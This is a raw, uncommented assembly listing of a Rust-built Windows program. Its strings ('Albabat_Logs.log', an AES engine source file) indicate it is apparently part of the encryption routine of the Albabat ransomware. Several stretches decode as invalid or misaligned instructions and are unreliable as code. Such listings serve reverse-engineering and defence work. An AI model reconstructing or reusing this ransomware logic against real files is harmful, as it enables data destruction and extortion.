and rdx, rax
mov r8, rdx
shl r8, 4
or r8, rdx
xor r8, r9
mov qword [rbp + 0xc28], r8
mov rdx, qword [rbp + 0xc30]
mov r8, rdx
shr r8, 8
xor r8, rdx
and r8, rcx
mov r9, r8
shl r9, 8
or r9, r8
xor r9, rdx
mov rdx, r9
shr rdx, 4
xor rdx, r9
and rdx, rax
mov r8, rdx
shl r8, 4
or r8, rdx
xor r8, r9
mov qword [rbp + 0xc30], r8
mov rdx, qword [rbp + 0xc38]
mov r8, rdx
shr r8, 8
xor r8, rdx
and r8, rcx
mov r9, r8
shl r9, 8
or r9, r8
xor r9, rdx
mov rdx, r9
shr rdx, 4
xor rdx, r9
and rdx, rax
mov r8, rdx
shl r8, 4
or r8, rdx
xor r8, r9
mov qword [rbp + 0xc38], r8
mov rdx, qword [rbp + 0xc40]
mov r8, rdx
shr r8, 8
xor r8, rdx
and r8, rcx
mov r9, r8
shl r9, 8
or r9, r8
xor r9, rdx
mov rdx, r9
shr rdx, 4
xor rdx, r9
and rdx, rax
mov r8, rdx
shl r8, 4
or r8, rdx
xor r8, r9
mov qword [rbp + 0xc40], r8
mov rdx, qword [rbp + 0xc48]
mov r8, rdx
shr r8, 8
xor r8, rdx
and r8, rcx
mov rcx, r8
shl rcx, 8
or rcx, r8
xor rcx, rdx
mov rdx, rcx
shr rdx, 4
xor rdx, rcx
and rdx, rax
mov rax, rdx
shl rax, 4
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xc48], rax
mov eax, 0x70
mov r13, qword [rbp + 0xd50]
not qword [rbp + rax + 0x8a0]
not qword [rbp + rax + 0x8a8]
not qword [rbp + rax + 0x8c8]
not qword [rbp + rax + 0x8d0]
add rax, 0x40
cmp rax, 0x3f0
jne 0x1400194e0
lea rcx, [rbp + 0x390]
lea rdx, [rbp + 0x8d0]
mov r8d, 0x3c0
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x390]
mov r8d, 0x3c0
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
movaps xmmword [rbp + 0xce0], xmm0
movzx eax, byte [section..data]
cmp al, 1
jne 0x14001956b
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0xce0]
mov r8, rdx
call fcn.140010f70
jmp 0x1400195b8
movdqa xmm1, xmmword [rbp + 0xce0]
movdqa xmmword [rbp + 0x7e0], xmm1
movaps xmmword [rbp + 0x7f0], xmm0
movaps xmmword [rbp + 0x800], xmm0
movaps xmmword [rbp + 0x810], xmm0
lea rcx, [rbp + 0x390]
lea rdx, [rbp + 0x8d0]
lea r8, [rbp + 0x7e0]
call fcn.14003acb0
movups xmm0, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0xce0], xmm0
movzx esi, byte [rbp + 0xce0]
movzx r14d, byte [rbp + 0xce1]
movzx r12d, byte [rbp + 0xce2]
movzx edi, byte [rbp + 0xce3]
movzx r15d, byte [rbp + 0xce4]
movzx r8d, byte [rbp + 0xce5]
movzx eax, byte [rbp + 0xce8]
movzx ecx, byte [rbp + 0xce9]
movzx ebx, byte [rbp + 0xcea]
movzx r9d, byte [rbp + 0xceb]
movzx r11d, byte [rbp + 0xcec]
movzx r10d, byte [rbp + 0xced]
mov rdx, rsi
shl rdx, 0x38
shl r14, 0x30
or r14, rdx
shl r12, 0x28
shl rdi, 0x20
or rdi, r12
or rdi, r14
shl r15, 0x18
shl r8, 0x10
or r8, r15
or r8, rdi
shl rax, 0x38
shl rcx, 0x30
shl rbx, 0x28
shl r9, 0x20
or r9, rbx
shl r11, 0x18
shl r10, 0x10
or r10, r11
movzx r11d, word [rbp + 0xce6]
rol r11w, 8
movzx r11d, r11w
or r11, r8
or rcx, rax
or rcx, r9
or rcx, r10
movzx r8d, word [rbp + 0xcee]
rol r8w, 8
movzx r8d, r8w
or r8, rcx
shld r11, rax, 1
shr esi, 7
movabs rax, 0x8000000000000000
and rax, rdx
mov rcx, rsi
shl rcx, 0x3e
or rcx, rax
lea rdi, [rsi + r8*2]
shl rsi, 0x39
or rsi, rcx
xor rsi, r11
movzx eax, byte [0x1400f0001]
cmp al, 0xff
jne 0x140019705
lea rcx, [rbp + 0x7e0]
call fcn.14003bcf0
lea rcx, [rbp + 0x390]
call fcn.14003bd20
mov ebx, dword [rbp + 0x7e8]
mov eax, ebx
not eax
test eax, 0xc000000
jne 0x1400196fd
call fcn.14000a3f0
and eax, 2
shr eax, 1
shr bl, 1
and bl, al
jmp 0x1400196ff
xor ebx, ebx
mov byte [0x1400f0001], bl
mov qword [rbp + 0x370], rdi
mov qword [rbp + 0x378], rsi
pxor xmm6, xmm6
movdqa xmmword [rbp + 0x380], xmm6
lea rsi, [rbp - 0x50]
lea rdx, [rbp + 0x8d0]
mov r8d, 0x3c0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rbp + 0xd08]
mov r14, qword [rbp + 0xd18]
mov r12, r14
add r12, 0x10
je 0x140019e88
js 0x14001a2d2
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x140019785
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14001a2c3
mov rcx, rax
mov qword [0x1400f0220], rax
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14001a2c3
mov rdi, rax
mov qword [rbp + 0xcc0], rax
mov qword [rbp + 0xcc8], r12
mov qword [rbp + 0xcd0], 0
cmp r14, 0xfffffffffffffff0
jae 0x140019e9b
xor ebx, ebx
lea rcx, [rdi + rbx]
mov rdx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add rbx, r14
mov qword [rbp + 0xcd0], rbx
movabs rax, 0x1000000000
cmp rbx, rax
jbe 0x140019827
cmp qword [rbp + 0xcc8], 0
je 0x140019809
mov r8, qword [rbp + 0xcc0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0xd58]
mov qword [rcx], 1
lea rax, [0x1400aad20]
mov qword [rcx + 8], rax
jmp 0x140019f38
mov rdx, qword [rbp + 0xeb0]
mov eax, dword [rdx]
mov ecx, dword [rdx + 4]
mov edx, dword [rdx + 8]
mov qword [rbp + 0x7e0], rsi
mov dword [rbp + 0x7e8], eax
mov dword [rbp + 0x7ec], ecx
mov dword [rbp + 0x7f0], edx
mov qword [rbp + 0x7f4], 1
xorps xmm0, xmm0
movaps xmmword [rbp + 0xd70], xmm0
movzx r8d, byte [section..data]
cmp r8b, 1
jne 0x14001988b
lea rdx, [rbp + 0x7e8]
lea rcx, [rbp - 0x50]
lea r8, [rbp + 0xd70]
call fcn.140010ff0
jmp 0x1400198eb
mov dword [rbp + 0x7f8], 1
mov dword [rbp + 0x390], eax
mov dword [rbp + 0x394], ecx
mov dword [rbp + 0x398], edx
mov dword [rbp + 0x39c], 0x1000000
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp - 0x50]
lea r8, [rbp + 0x390]
call fcn.14003acb0
movups xmm0, xmmword [rbp + 0x8d0]
movaps xmmword [rbp + 0xd70], xmm0
movups xmm0, xmmword [rbp + 0x7e0]
movups xmm1, xmmword [rbp + 0x7f0]
movaps xmmword [rbp + 0xcf0], xmm1
movaps xmmword [rbp + 0xce0], xmm0
movzx r13d, byte [rbp + 0xd70]
movzx eax, byte [rbp + 0xd71]
mov byte [rbp + 0xd90], al
movzx eax, byte [rbp + 0xd72]
mov byte [rbp + 0xd8e], al
movzx eax, byte [rbp + 0xd73]
mov byte [rbp + 0xd95], al
movzx eax, byte [rbp + 0xd74]
mov byte [rbp + 0xd96], al
movzx eax, byte [rbp + 0xd75]
mov byte [rbp + 0xd97], al
movzx eax, byte [rbp + 0xd76]
mov byte [rbp + 0xd91], al
movzx eax, byte [rbp + 0xd77]
mov byte [rbp + 0xd92], al
movzx eax, byte [rbp + 0xd78]
mov byte [rbp + 0xd93], al
movzx r12d, byte [rbp + 0xd79]
movzx eax, byte [rbp + 0xd7a]
mov byte [rbp + 0xd30], al
movzx eax, byte [rbp + 0xd7b]
mov byte [rbp + 0xd40], al
movzx eax, byte [rbp + 0xd7c]
mov byte [rbp + 0xd60], al
movzx eax, byte [rbp + 0xd7d]
mov byte [rbp + 0xca0], al
movzx eax, byte [rbp + 0xd7e]
mov byte [rbp + 0xcb8], al
movzx eax, byte [rbp + 0xd7f]
mov byte [rbp + 0xd94], al
mov rsi, rbx
and rsi, 0xf
je 0x1400199ed
mov eax, dword [rbp + 0xcf8]
mov ecx, 0xffffffff
xor rcx, rax
cmp rsi, rcx
jae 0x14001a2d9
mov r14, rdi
mov r15, rbx
cmp rbx, 0x11
jb 0x140019a35
mov rax, rbx
shr rax, 4
mov r14, rbx
and r14, 0xfffffffffffffff0
mov qword [rbp + 0x8d0], rdi
mov qword [rbp + 0x8d8], rdi
mov qword [rbp + 0x8e0], rax
add r14, rdi
lea rcx, [rbp + 0xce0]
lea rdx, [rbp + 0x8d0]
call fcn.1400109d0
mov r15, rsi
test r15, r15
je 0x140019ac9
lea rax, [r15 - 0x10]
neg rax
cmp r15, 0x10
mov r8d, 0
cmovb r8, rax
lea rcx, [r15 + rbp]
add rcx, 0x7e0
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0xd8f], r13b
mov r13d, r12d
lea r12, [rbp + 0x7e0]
mov rcx, r12
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x390], r12
mov qword [rbp + 0x398], r12
mov qword [rbp + 0x3a0], 1
lea rcx, [rbp + 0xce0]
lea rdx, [rbp + 0x390]
call fcn.1400109d0
mov rcx, r14
mov rdx, r12
mov r12d, r13d
movzx r13d, byte [rbp + 0xd8f]
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x1400f0001]
movaps xmm0, xmmword [rbp + 0x370]
movdqa xmm1, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0x8d0], xmm0
movdqa xmmword [rbp + 0x8e0], xmm1
lea rdx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
lea r14, [rbp + 0x8d0]
mov rcx, r14
xor r8d, r8d
call fcn.140015f30
mov r8, rbx
shr r8, 4
mov rcx, r14
mov rdx, rdi
call fcn.140015f30
test rsi, rsi
je 0x140019b6d
mov rax, rbx
and rax, 0xfffffffffffffff0
add rdi, rax
mov r8d, 0x10
sub r8, rsi
lea rcx, [rsi + rbp]
add rcx, 0x390
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea r14, [rbp + 0x390]
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x8d0]
mov r8d, 1
mov rdx, r14
call fcn.140015f30
shl rbx, 3
bswap rbx
mov qword [rbp + 0x390], 0
mov qword [rbp + 0x398], rbx
lea rcx, [rbp + 0x8d0]
lea rdx, [rbp + 0x390]
mov r8d, 1
call fcn.140015f30
movaps xmm0, xmmword [rbp + 0x8e0]
movzx eax, byte [0x1400f0001]
cmp al, 1
movzx r15d, byte [rbp + 0xd8e]
movzx esi, byte [rbp + 0xd90]
movzx ecx, byte [rbp + 0xd95]
movzx edx, byte [rbp + 0xd96]
movzx r8d, byte [rbp + 0xd97]
movzx r9d, byte [rbp + 0xd91]
movzx r10d, byte [rbp + 0xd92]
movzx r11d, byte [rbp + 0xd93]
movaps xmmword [rbp + 0xd20], xmm0
xor r13b, byte [rbp + 0xd2f]
xor sil, byte [rbp + 0xd2e]
xor r15b, byte [rbp + 0xd2d]
xor cl, byte [rbp + 0xd2c]
xor dl, byte [rbp + 0xd2b]
xor r8b, byte [rbp + 0xd2a]
xor r9b, byte [rbp + 0xd29]
xor r10b, byte [rbp + 0xd28]
xor r11b, byte [rbp + 0xd27]
xor r12b, byte [rbp + 0xd26]
movzx eax, byte [rbp + 0xd30]
xor al, byte [rbp + 0xd25]
mov byte [rbp + 0xd30], al
movzx eax, byte [rbp + 0xd40]
xor al, byte [rbp + 0xd24]
mov byte [rbp + 0xd40], al
movzx eax, byte [rbp + 0xd60]
xor al, byte [rbp + 0xd23]
mov byte [rbp + 0xd60], al
movzx eax, byte [rbp + 0xca0]
xor al, byte [rbp + 0xd22]
mov byte [rbp + 0xca0], al
movzx eax, byte [rbp + 0xcb8]
xor al, byte [rbp + 0xd21]
mov byte [rbp + 0xcb8], al
movzx eax, byte [rbp + 0xd94]
xor al, byte [rbp + 0xd20]
mov byte [rbp + 0xd94], al
mov rdi, qword [rbp + 0xcc8]
mov r14, qword [rbp + 0xcd0]
mov rax, rdi
sub rax, r14
cmp rax, 0xf
jbe 0x140019f44
mov rbx, qword [rbp + 0xcc0]
mov byte [rbx + r14], r13b
mov byte [rbx + r14 + 1], sil
mov byte [rbx + r14 + 2], r15b
mov byte [rbx + r14 + 3], cl
mov byte [rbx + r14 + 4], dl
mov byte [rbx + r14 + 5], r8b
mov byte [rbx + r14 + 6], r9b
mov byte [rbx + r14 + 7], r10b
mov byte [rbx + r14 + 8], r11b
mov byte [rbx + r14 + 9], r12b
movzx eax, byte [rbp + 0xd30]
mov byte [rbx + r14 + 0xa], al
movzx eax, byte [rbp + 0xd40]
mov byte [rbx + r14 + 0xb], al
movzx eax, byte [rbp + 0xd60]
mov byte [rbx + r14 + 0xc], al
movzx eax, byte [rbp + 0xca0]
mov byte [rbx + r14 + 0xd], al
movzx eax, byte [rbp + 0xcb8]
mov byte [rbx + r14 + 0xe], al
movzx eax, byte [rbp + 0xd94]
mov byte [rbx + r14 + 0xf], al
add r14, 0x10
je 0x140019dfd
mov rcx, qword [rbp + 0xc90]
mov rdx, qword [rbp + 0xc98]
mov dword [rbp + 0x8f0], 0
mov word [rbp + 0x8f4], 0
mov dword [rbp + 0x8d0], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x8d8], xmm0
mov qword [rbp + 0x8e8], 7
mov byte [rbp + 0x8f1], 1
mov byte [rbp + 0x8f4], 1
mov byte [rbp + 0x8f3], 1
lea r8, [rbp + 0x8d0]
call fcn.14007cdd0
mov r15, rdx
test rax, rax
mov r13, qword [rbp + 0xd50]
je 0x140019e37
movzx eax, byte [0x1400f02c0]
mov ecx, 8
mov edx, 8
call fcn.14003a3a0
test rax, rax
je 0x14001a27f
mov qword [rax], r15
mov rcx, qword [rbp + 0xd58]
mov qword [rcx], rax
lea rax, [0x1400a9950]
mov qword [rcx + 8], rax
jmp 0x140019f21
xorps xmm0, xmm0
mov rax, qword [rbp + 0xd58]
movups xmmword [rax], xmm0
test rdi, rdi
mov rsi, qword [rbp + 0xd50]
je 0x140019e28
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [section..data]
mov rcx, rsi
jmp 0x140018125
mov qword [rbp + 0xce0], r15
lea rcx, [rbp + 0x8d0]
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call fcn.14007e130
cmp qword [rbp + 0x8d0], 0
je 0x140019ebf
mov rsi, qword [rbp + 0x8d8]
movzx eax, byte [0x1400f02c0]
mov ecx, 8
mov edx, 8
call fcn.14003a3a0
test rax, rax
je 0x14001a27f
mov qword [rax], rsi
jmp 0x140019eff
mov qword [rbp + 0xcc0], 1
movdqu xmmword [rbp + 0xcc8], xmm6
lea rcx, [rbp + 0xcc0]
xor edx, edx
mov r8, r14
call fcn.1400a5460
mov rdi, qword [rbp + 0xcc0]
mov rbx, qword [rbp + 0xcd0]
jmp 0x1400197c1
lea rcx, [rbp + 0xce0]
mov rdx, rbx
mov r8, r14
call fcn.140007960
test rax, rax
je 0x140019fa1
mov r14, rax
movzx eax, byte [0x1400f02c0]
mov ecx, 8
mov edx, 8
call fcn.14003a3a0
test rax, rax
je 0x14001a27f
mov qword [rax], r14
mov rcx, qword [rbp + 0xd58]
mov qword [rcx], rax
lea rax, [0x1400a9950]
mov qword [rcx + 8], rax
mov rcx, qword [rbp + 0xce0]
call qword [sym.imp.kernel32.dll_CloseHandle]
test rdi, rdi
je 0x140019f38
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [section..data]
jmp 0x140018122
mov byte [rbp + 0xd95], cl
lea rcx, [rbp + 0xcc0]
mov byte [rbp + 0xd96], dl
mov rdx, r14
mov byte [rbp + 0xd97], r8b
mov ebx, r9d
mov edi, r10d
mov r14d, r11d
call fcn.1400a41e0
mov r11d, r14d
mov r10d, edi
mov r9d, ebx
movzx r8d, byte [rbp + 0xd97]
movzx edx, byte [rbp + 0xd96]
movzx ecx, byte [rbp + 0xd95]
mov rdi, qword [rbp + 0xcc8]
mov r14, qword [rbp + 0xcd0]
jmp 0x140019cc7
lea rax, [rbp + 0xc90]
mov qword [rbp + 0x390], rax
lea rax, [0x14003e180]
mov qword [rbp + 0x398], rax
lea rcx, str..abbt
mov qword [rbp + 0x3a0], rcx
mov qword [rbp + 0x3a8], rax
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x8d0], rax
mov qword [rbp + 0x8d8], 2
mov qword [rbp + 0x8f0], 0
lea rax, [rbp + 0x390]
mov qword [rbp + 0x8e0], rax
mov qword [rbp + 0x8e8], 2
lea rcx, [rbp + 0x7e0]
lea rdx, [rbp + 0x8d0]
call fcn.14000bd10
mov r12, qword [rbp + 0x7e0]
mov rsi, qword [rbp + 0x7e8]
mov r14, qword [rbp + 0x7f0]
mov rcx, qword [rbp + 0xc90]
mov rdx, qword [rbp + 0xc98]
mov r8, r12
mov r9, r14
call fcn.1400923d0
test rax, rax
je 0x14001a0af
mov r15, rax
movzx eax, byte [0x1400f02c0]
mov ecx, 8
mov edx, 8
call fcn.14003a3a0
test rax, rax
je 0x14001a27f
mov qword [rax], r15
mov rcx, qword [rbp + 0xd58]
mov qword [rcx], rax
lea rax, [0x1400a9950]
mov qword [rcx + 8], rax
test rsi, rsi
je 0x140019f14
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140019f14
mov qword [rbp + 0xd30], rsi
lea rdx, [0x1400aa973]
lea rcx, [rbp + 0x390]
mov r8d, 0xb
call fcn.14007c5d0
cmp byte [rbp + 0x3a8], 3
jne 0x14001a306
mov rdx, qword [rbp + 0x390]
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0xd40], rax
mov r8, qword [rbp + 0x3a0]
mov qword [rsp + 0x20], 7
lea r9, [0x1400aa84c]
lea rcx, [rbp + 0x8d0]
mov qword [rbp + 0xd60], rdx
call fcn.140081510
mov rsi, qword [rbp + 0x8d0]
mov r13, qword [rbp + 0x8e0]
lea rdx, str.Albabat_Logs.log
lea r15, [rbp + 0x390]
mov r8d, 0x10
mov rcx, r15
call fcn.14000bdf0
lea rcx, [rbp + 0x7e0]
mov rdx, rsi
mov r8, r13
mov r9, r15
call fcn.140007cb0
cmp qword [rbp + 0x8d8], 0
je 0x14001a176
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0xd40], 0
je 0x14001a196
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0xd60]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rbp + 0x7e0]
mov r8, qword [rbp + 0x7f0]
lea rcx, [rbp + 0x8d0]
mov rdx, r15
call fcn.14003f1f0
cmp qword [rbp + 0x8d0], 0
mov r13, qword [rbp + 0xd50]
mov rsi, qword [rbp + 0xd30]
jne 0x14001a33e
mov rcx, qword [rbp + 0x8d8]
mov rdx, qword [rbp + 0x8e0]
mov r8, r12
mov r9, r14
call fcn.140021fd0
test rax, rax
je 0x14001a248
mov r14, rax
movzx eax, byte [0x1400f02c0]
mov ecx, 8
mov edx, 8
call fcn.14003a3a0
test rax, rax
je 0x14001a27f
mov qword [rax], r14
mov rcx, qword [rbp + 0xd58]
mov qword [rcx], rax
lea rax, [0x1400a9950]
mov qword [rcx + 8], rax
cmp qword [rbp + 0x7e8], 0
je 0x14001a08f
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001a08f
cmp qword [rbp + 0x7e8], 0
je 0x14001a264
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0xd58]
mov qword [rax + 8], 1
mov qword [rax], 0
jmp 0x14001a08f
mov ecx, 8
mov edx, 8
call fcn.1400a42a0
ud2
lea r8, [0x1400e0cb0]
mov edx, 0x20
jmp 0x14001a2b9
lea r8, str.library_std_srcio_readbuf.rs
mov rcx, rdi
mov rdx, rax
call fcn.1400a4780
ud2
lea r8, str.library_std_srcio_readbuf.rs
mov rcx, rax
call fcn.1400a44b0
ud2
mov ecx, 1
mov rdx, r12
call fcn.1400a42a0
ud2
call fcn.14003bdd0
ud2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fcipher_0.4.4_src_stream_core.rsC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.0_srcjob.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400a9fc0]
lea r8, [rbp + 0x8d0]
mov edx, 0x2b
call fcn.1400a48c0
ud2
movups xmm0, xmmword [rbp + 0x390]
movups xmm1, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x8e0], xmm1
movaps xmmword [rbp + 0x8d0], xmm0
lea rax, str.srcengine_aes.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140008890
jmp 0x14001a2f3
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.srcengine_aes.rs
mov edx, 0x2b
call fcn.1400a4530
ud2
mov rcx, rdi
call fcn.140008340
cmp r12, qword [rsp + 0x1e8]
je 0x140020d7e
mov rdi, qword [r12]
mov rsi, qword [r12 + 8]
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call fcn.140048bd0
cmp byte [rsp + 0x170], 2
je 0x140020dae
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rsi
cmp qword [rsp + 0x148], 0
je 0x14001fbf7
mov r8, qword [rsp + 0x140]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x158]
mov rdi, qword [rsp + 0x168]
test rdi, rdi
je 0x14001fc50
lea rbx, [rsi + 0x10]
jmp 0x14001fc29
add rbx, 0x20
dec rdi
je 0x14001fc50
mov eax, dword [rbx - 0x10]
cmp rax, 4
jb 0x14001fc20
cmp eax, 4
cmp qword [rbx], 0
je 0x14001fc20
mov r8, qword [rbx - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001fc20
cmp qword [rsp + 0x160], 0
je 0x14001fc6d
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
add r12, 0x10
mov rcx, r13
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x30]
call fcn.140081620
lea rsi, [0x1400e6878]
nop word [rax + rax]
mov byte [rsp + 0x140], 0xb
mov rcx, r14
mov rdx, r13
call fcn.140079ab0
movzx edx, byte [rsp + 0x140]
cmp edx, 7
jb 0x14001fc90
mov rax, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x150]
mov r9, qword [rsp + 0x168]
mov r10, qword [rsp + 0x170]
lea r8, [rsp + 0x48]
movups xmmword [r8], xmm6
mov qword [rsp + 0x40], 1
mov byte [rsp + 0x58], 1
cmp edx, 0xa
je 0x14001fd30
cmp edx, 0xb
je case.default.0x14001fd17
add dl, 0xfa
movzx edx, dl
lea r8, [rdx + 1]
add dword [rax + 0xf4d04fa], eax
invalid
invalid
lea rdx, [0x1400e6864]
movsxd r11, dword [rdx + r8*4]
add r11, rdx
lea rdx, [0x1400e0e8a]
jmp r11
add dword [rax + 0xf4d04fa], eax
invalid
ror byte [rcx + rcx*4 - 0x36], 1
jmp 0x14001fd60
add byte [rax], al
add byte [rax], al
add byte [rsi + 1], bh
mov esi, 1
xor eax, eax
jmp 0x14001fe3a
add byte [rax], al
add byte [rax], al
mov r8d, 1
add byte [rax], al
add byte [rax], al
lea rdx, [0x1400e0e8b]
jmp 0x14001fd60
lea rcx, [rsp + 0x40]
call fcn.14007e690
movups xmm0, xmmword [r13]
adc byte [rbp], al
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm3, xmmword [r13 + 0x30]
pop rbp
xor byte [rdi], cl
sub dword [rsp + 0x130], ebx
pop rbp
xor byte [rdi], cl
sub dword [rsp + 0x130], ebx
movaps xmmword [rsp + 0x120], xmm2
movaps xmmword [rsp + 0x110], xmm1
movaps xmmword [rsp + 0x100], xmm0
jmp 0x14001fdba
lea rcx, [rsp + 0xc0]
mov rdx, rbp
call fcn.140079ab0
movzx eax, byte [rsp + 0xc0]
cmp al, 0xa
invalid
je 0x14001fe30
add byte [rax - 0x77], cl
invalid
or dh, byte [rdx + rbx*2 + 4]
cli
add al, 0xfa
movzx eax, al
lea r8, [rax + 1]
cmp al, 4
cmovae r8, r15
cmovae eax, edi
cmovae eax, edi
movsxd rax, dword [rsi + r8*4]
add rax, rsi
lea rdx, [0x1400e0e8a]
jmp rax
invalid
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xb0], rax
mov rdi, qword [rsp + 0x50]
mov rcx, rbp
mov ecx, ebp
mov ecx, ebp
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x30]
call fcn.140081620
lea rax, [rsp + 0x48]
movups xmmword [rax], xmm6
mov qword [rsp + 0x40], 1
mov byte [rsp + 0x58], 1
jmp 0x14001fe9a
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xd0]
nop word cs:[rax + rax]
lea rcx, [rsp + 0x40]
call fcn.14007e690
call fcn.14007e690
lea rcx, [rsp + 0xc0]
mov rdx, rbp
call fcn.140079ab0
invalid
pushfq
add eax, 0x84b60f00
and al, 0xc0
add byte [rax], al
add byte [rdx + rcx], bh
je case.default.0x14001feda
pop rdx
invalid
pop rdx
add al, 0xfa
movzx eax, al
lea r8, [rax + 1]
cmp al, 4
cmovae r8, r15
lea rcx, [0x1400e688c]
movsxd rax, dword [rcx + r8*4]
add rax, rcx
lea rdx, [0x1400e0e8a]
jmp rax
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
jmp case.0x14001feda.1
mov r8d, 1
lea rdx, [0x1400e0e8b]
jmp case.0x14001feda.1
mov r8d, 2
lea rdx, str....
jmp case.0x14001feda.1
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x1d8], rax
mov r8, qword [rsp + 0x50]
mov rcx, rbp
mov qword [rsp + 0x1c8], rdx
call fcn.14003f1f0
cmp qword [rsp + 0x100], 0
jne 0x140020e9a
mov rbx, qword [rsp + 0x110]
mov rcx, rbp
mov rdx, rsi
mov r8, rdi
call fcn.14003f1f0
cmp qword [rsp + 0x100], 0
jne 0x140020eaa
sub rbx, qword [rsp + 0x110]
mov qword [rsp + 0x80], r12
lea rdi, [rsp + 0x1f8]
mov qword [rsp + 0x1c0], rsi
jne 0x14001ffc0
movzx eax, byte [0x1400f02c0]
mov rax, qword [0x1400f0220]
test rax, rax
je 0x1400200bf
mov rdi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x30]
jmp 0x1400200df
cmp rbx, qword [rsp + 0x30]
jae 0x14001ffe0
mov rdx, qword [rsp + 0x38]
cmp byte [rdx + rbx], 0xbf
jg 0x14001ffeb
jmp 0x140020ee6
mov rdx, qword [rsp + 0x38]
jne 0x140020ee6
mov rcx, rbp
mov r8, rbx
call fcn.140081620
lea rcx, [rsp + 0xc0]
mov rdx, rbp
call fcn.140079ab0
cmp byte [rsp + 0xc0], 2
ja 0x140020050
movaps xmmword [rsp + 0x260], xmm6
movaps xmmword [rsp + 0x250], xmm6
mov r9b, 2
mov eax, 8
mov qword [rsp + 0x1d0], rax
xor esi, esi
cmp qword [rsp + 0x1d8], 0
jne 0x1400205f8
jmp 0x140020615
test rbx, rbx
js 0x140020e93
mov r14, rbx
movzx eax, byte [0x1400f02c0]
mov rax, qword [0x1400f0220]
test rax, rax
mov rdi, qword [rsp + 0x38]
jne 0x14002008a
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140020f07
mov qword [0x1400f0220], rax
mov rcx, rax
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140020f07
mov rsi, rax
mov rcx, rax
mov rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r14
mov rbx, r14
mov r14, qword [rsp + 0x30]
jmp 0x140020104
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
mov rdi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x30]
